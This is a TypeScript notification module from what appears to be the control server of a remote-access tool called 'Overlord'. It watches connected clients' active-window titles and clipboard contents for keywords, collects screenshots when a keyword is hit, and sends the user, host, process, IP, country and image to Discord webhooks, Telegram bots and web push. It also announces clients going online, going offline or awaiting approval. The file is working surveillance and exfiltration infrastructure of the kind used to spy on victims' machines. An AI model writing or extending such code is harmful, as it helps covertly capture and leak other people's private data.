import { v4 as uuidv4 } from "uuid"; import { getNotificationScreenshot, saveNotificationScreenshot, getAllPushSubscriptions, deletePushSubscription, type NotificationScreenshotRecord, type PushSubscriptionRecord, } from "../db"; import { logger } from "../logger"; import { sendWebPush } from "./web-push"; export type NotificationRecord = { id: string; clientId: string; host?: string; user?: string; os?: string; title: string; process?: string; processPath?: string; pid?: number; keyword?: string; category: "active_window" | "clipboard"; ts: number; screenshotId?: string; }; export type PendingNotificationScreenshot = { notificationId: string; clientId: string; ts: number; timeout: NodeJS.Timeout; }; export type UserDeliveryTarget = { userId: number; username: string; webhookEnabled: boolean; webhookUrl: string; webhookTemplate: string | null; telegramEnabled: boolean; telegramBotToken: string; telegramChatId: string; telegramTemplate: string | null; clientEventWebhook: boolean; clientEventTelegram: boolean; clientEventPush: boolean; }; export const DEFAULT_WEBHOOK_TEMPLATE = `{"type":"notification","data":{"title":"{title}","keyword":"{keyword}","clientId":"{clientId}","user":"{user}","host":"{host}","process":"{process}","os":"{os}","pid":"{pid}","ts":"{ts}"}}`; export const DEFAULT_TELEGRAM_TEMPLATE = `\u{1F514} Notification\nTitle: {title}\nKeyword: {keyword}\nClient: {clientId}\nUser: {user}\nHost: {host}\nProcess: {process}`; const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000; const NOTIFICATION_SCREENSHOT_POLL_MS = 250; function getScreenshotMeta(format: string | undefined): { contentType: string; ext: string } { const normalized = (format || "jpeg").toLowerCase(); if (normalized === "png") return { contentType: "image/png", ext: "png" }; if (normalized === "webp") return { contentType: "image/webp", ext: "webp" }; if (normalized === "jpg" || normalized === "jpeg") return { contentType: "image/jpeg", ext: "jpg" }; return { contentType: "application/octet-stream", ext: "bin" }; } export function renderNotificationTemplate( template: string | null | undefined, record: NotificationRecord, defaultTemplate: string, ): string { const tpl = template && template.trim() ? template : defaultTemplate; return tpl .replace(/{title}/g, record.title ?? "") .replace(/{keyword}/g, record.keyword ?? "") .replace(/{clientId}/g, record.clientId ?? "") .replace(/{user}/g, record.user ?? "") .replace(/{host}/g, record.host ?? "") .replace(/{process}/g, record.process ?? "") .replace(/{os}/g, record.os ?? "") .replace(/{pid}/g, String(record.pid ?? "")) .replace(/{ts}/g, String(record.ts ?? "")); } function buildCanonicalWebhookPayload(record: NotificationRecord): string { return JSON.stringify({ type: "notification", data: record }); } function buildWebhookBody(target: UserDeliveryTarget, record: NotificationRecord): string { const customTemplate = target.webhookTemplate?.trim() || ""; if (!customTemplate) { return buildCanonicalWebhookPayload(record); } const rendered = renderNotificationTemplate(customTemplate, record, DEFAULT_WEBHOOK_TEMPLATE); try { const parsed = JSON.parse(rendered); return JSON.stringify(parsed); } catch (err) { logger.warn( `[notify] invalid webhook template for user ${target.username}; falling back to canonical payload`, err, ); return buildCanonicalWebhookPayload(record); } } async function waitForNotificationScreenshot( notificationId: string, timeoutMs = NOTIFICATION_SCREENSHOT_WAIT_MS, ): Promise { const start = Date.now(); while (Date.now() - start < timeoutMs) { const screenshot = getNotificationScreenshot(notificationId); if (screenshot) return screenshot; await new Promise((resolve) => setTimeout(resolve, NOTIFICATION_SCREENSHOT_POLL_MS)); } return null; } export function takePendingNotificationScreenshot( pendingNotificationScreenshots: Map, clientId: string, ): PendingNotificationScreenshot | null { for (const [commandId, pending] of pendingNotificationScreenshots.entries()) { if (pending.clientId !== clientId) continue; clearTimeout(pending.timeout); pendingNotificationScreenshots.delete(commandId); return pending; } return null; } export function storeNotificationScreenshot( notificationHistory: NotificationRecord[], pending: PendingNotificationScreenshot, bytes: Uint8Array, format: string, width?: number, height?: number, ): void { if (!bytes || bytes.length === 0) return; const screenshotId = uuidv4(); saveNotificationScreenshot({ id: screenshotId, notificationId: pending.notificationId, clientId: pending.clientId, ts: pending.ts, format, width, height, bytes, }); const record = notificationHistory.find((item) => item.id === pending.notificationId); if (record) { record.screenshotId = screenshotId; } } async function deliverToUserWebhook( target: UserDeliveryTarget, record: NotificationRecord, screenshot?: NotificationScreenshotRecord | null, ): Promise { if (!target.webhookEnabled) return; const url = (target.webhookUrl || "").trim(); if (!url) return; let parsed: URL; try { parsed = new URL(url); if (!/^https?:$/.test(parsed.protocol)) return; } catch { return; } try { const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname); if (isDiscord) { const embed: Record = { title: record.keyword ? `Keyword: ${record.keyword}` : "Active Window", description: record.title, fields: [ { name: "Client", value: record.clientId || "unknown", inline: true }, { name: "User", value: record.user || "unknown", inline: true }, { name: "Host", value: record.host || "unknown", inline: true }, { name: "Process", value: record.process || "unknown", inline: true }, ], timestamp: new Date(record.ts).toISOString(), }; const payload: Record = { content: `\u{1F514} Notification: ${record.title}`, embeds: [embed], }; if (screenshot?.bytes?.length) { const meta = getScreenshotMeta(screenshot.format); const filename = `notification-${record.id}.${meta.ext}`; embed.image = { url: `attachment://${filename}` }; const form = new FormData(); form.append("payload_json", JSON.stringify(payload)); form.append( "files[0]", new Blob([screenshot.bytes as any], { type: meta.contentType }), filename, ); await fetch(url, { method: "POST", body: form }); return; } await fetch(url, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload), }); return; } const body = buildWebhookBody(target, record); await fetch(url, { method: "POST", headers: { "Content-Type": "application/json" }, body, }); } catch (err) { logger.warn(`[notify] webhook delivery to user ${target.username} failed`, err); } } async function deliverToUserTelegram( target: UserDeliveryTarget, record: NotificationRecord, screenshot?: NotificationScreenshotRecord | null, ): Promise { if (!target.telegramEnabled) return; const token = (target.telegramBotToken || "").trim(); const chatId = (target.telegramChatId || "").trim(); if (!token || !chatId) return; const text = renderNotificationTemplate(target.telegramTemplate, record, DEFAULT_TELEGRAM_TEMPLATE); try { if (screenshot?.bytes?.length) { const meta = getScreenshotMeta(screenshot.format); const filename = `notification-${record.id}.${meta.ext}`; const form = new FormData(); form.append("chat_id", chatId); form.append("caption", text); form.append("photo", new Blob([screenshot.bytes as any], { type: meta.contentType }), filename); const apiUrl = `https://api.telegram.org/bot${token}/sendPhoto`; await fetch(apiUrl, { method: "POST", body: form }); return; } const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`; await fetch(apiUrl, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: chatId, text }), }); } catch (err) { logger.warn(`[notify] telegram delivery to user ${target.username} (chat ${chatId}) failed`, err); } } async function deliverToUser( target: UserDeliveryTarget, record: NotificationRecord, screenshot?: NotificationScreenshotRecord | null, ): Promise { await Promise.allSettled([ deliverToUserWebhook(target, record, screenshot), deliverToUserTelegram(target, record, screenshot), ]); } async function deliverWebPushToAll( record: NotificationRecord, getUserDeliveryTargets: (clientId: string) => UserDeliveryTarget[], ): Promise { const subs = getAllPushSubscriptions(); if (subs.length === 0) return; const targets = getUserDeliveryTargets(record.clientId); const allowedUserIds = new Set(targets.map((t) => t.userId)); const title = record.keyword ? `Overlord \u2014 ${record.keyword}` : "Overlord \u2014 Notification"; const lines = [record.title]; if (record.user) lines.push(`User: ${record.user}`); if (record.host) lines.push(`Host: ${record.host}`); if (record.process) lines.push(`Process: ${record.process}`); const payload = JSON.stringify({ type: "notification", title, body: lines.filter(Boolean).join("\n"), tag: `overlord-${record.id || Date.now()}`, url: "/notifications", }); await Promise.allSettled( subs .filter((sub) => allowedUserIds.has(sub.userId)) .map(async (sub) => { const result = await sendWebPush( { endpoint: sub.endpoint, keys: { p256dh: sub.p256dh, auth: sub.auth } }, payload, ); if (result.gone) { deletePushSubscription(sub.endpoint); logger.info(`[web-push] removed gone subscription for user ${sub.userId}`); } else if (!result.success) { logger.warn(`[web-push] delivery failed for user ${sub.userId}: ${result.error}`); } }), ); } export async function deliverWebPushClientEvent( event: string, info: { id: string; host?: string; user?: string; os?: string }, canUserAccessClient: (userId: number, userRole: string, clientId: string) => boolean, getUserRole: (userId: number) => string | undefined, isClientEventPushEnabled?: (userId: number) => boolean, ): Promise { const subs = getAllPushSubscriptions(); if (subs.length === 0) return; const labels: Record = { client_online: "\u{1F7E2} Client Online", client_offline: "\u{1F534} Client Offline", client_purgatory: "\u{1F7E1} Client Awaiting Approval", }; const title = labels[event] || "Overlord \u2014 Client Event"; const lines: string[] = []; if (info.host) lines.push(`Host: ${info.host}`); if (info.user) lines.push(`User: ${info.user}`); if (info.os) lines.push(`OS: ${info.os}`); if (info.id) lines.push(`ID: ${info.id}`); const dest = event === "client_purgatory" ? "/purgatory" : "/"; const payload = JSON.stringify({ type: "client_event", event, title, body: lines.join("\n") || info.id || "", tag: `overlord-client-${event}-${info.id || Date.now()}`, url: dest, }); await Promise.allSettled( subs.map(async (sub) => { const role = getUserRole(sub.userId); if (!role) return; if (isClientEventPushEnabled && !isClientEventPushEnabled(sub.userId)) return; if (event === "client_purgatory") { if (role !== "admin" && role !== "operator") return; } else if (role !== "admin") { if (!canUserAccessClient(sub.userId, role, info.id)) return; } const result = await sendWebPush( { endpoint: sub.endpoint, keys: { p256dh: sub.p256dh, auth: sub.auth } }, payload, ); if (result.gone) { deletePushSubscription(sub.endpoint); } }), ); } export async function deliverNotificationWithScreenshot( record: NotificationRecord, getUserDeliveryTargets: (clientId: string) => UserDeliveryTarget[], ): Promise { const screenshot = await waitForNotificationScreenshot(record.id); const targets = getUserDeliveryTargets(record.clientId); await Promise.allSettled([ ...targets.map((t) => deliverToUser(t, record, screenshot)), deliverWebPushToAll(record, getUserDeliveryTargets), ]); } export type ClientEventInfo = { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string; }; const CLIENT_EVENT_LABELS: Record = { client_online: "\u{1F7E2} Client Online", client_offline: "\u{1F534} Client Offline", client_purgatory: "\u{1F7E1} Client Awaiting Approval", }; const CLIENT_EVENT_COLORS: Record = { client_online: 0x22c55e, client_offline: 0xef4444, client_purgatory: 0xeab308, }; export async function deliverClientEventToExternalChannels( event: string, info: ClientEventInfo, targets: UserDeliveryTarget[], ): Promise { if (targets.length === 0) return; const label = CLIENT_EVENT_LABELS[event] || "Client Event"; const ts = Date.now(); await Promise.allSettled( targets.map(async (target) => { if (target.webhookEnabled && target.clientEventWebhook && target.webhookUrl) { const url = target.webhookUrl.trim(); if (!url) return; let parsed: URL; try { parsed = new URL(url); if (!/^https?:$/.test(parsed.protocol)) return; } catch { return; } try { const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname); if (isDiscord) { const fields = [ { name: "Client", value: info.id || "unknown", inline: true }, { name: "User", value: info.user || "unknown", inline: true }, { name: "Host", value: info.host || "unknown", inline: true }, { name: "OS", value: info.os || "unknown", inline: true }, ]; if (info.ip) fields.push({ name: "IP", value: info.ip, inline: true }); if (info.country) fields.push({ name: "Country", value: info.country, inline: true }); const embed: Record = { title: label, color: CLIENT_EVENT_COLORS[event] ?? 0x94a3b8, fields, timestamp: new Date(ts).toISOString(), }; const payload = { content: label, embeds: [embed] }; await fetch(url, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload), }); } else { await fetch(url, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ type: "client_event", event, clientId: info.id, user: info.user, host: info.host, os: info.os, ip: info.ip, country: info.country, ts, }), }); } } catch (err) { logger.warn(`[notify] client event webhook delivery to user ${target.username} failed`, err); } } if (target.telegramEnabled && target.clientEventTelegram && target.telegramBotToken && target.telegramChatId) { const token = target.telegramBotToken.trim(); const chatId = target.telegramChatId.trim(); if (!token || !chatId) return; const lines = [label]; if (info.id) lines.push(`Client: ${info.id}`); if (info.user) lines.push(`User: ${info.user}`); if (info.host) lines.push(`Host: ${info.host}`); if (info.os) lines.push(`OS: ${info.os}`); if (info.ip) lines.push(`IP: ${info.ip}`); if (info.country) lines.push(`Country: ${info.country}`); try { const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`; await fetch(apiUrl, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: chatId, text: lines.join("\n") }), }); } catch (err) { logger.warn(`[notify] client event telegram delivery to user ${target.username} failed`, err); } } }), ); }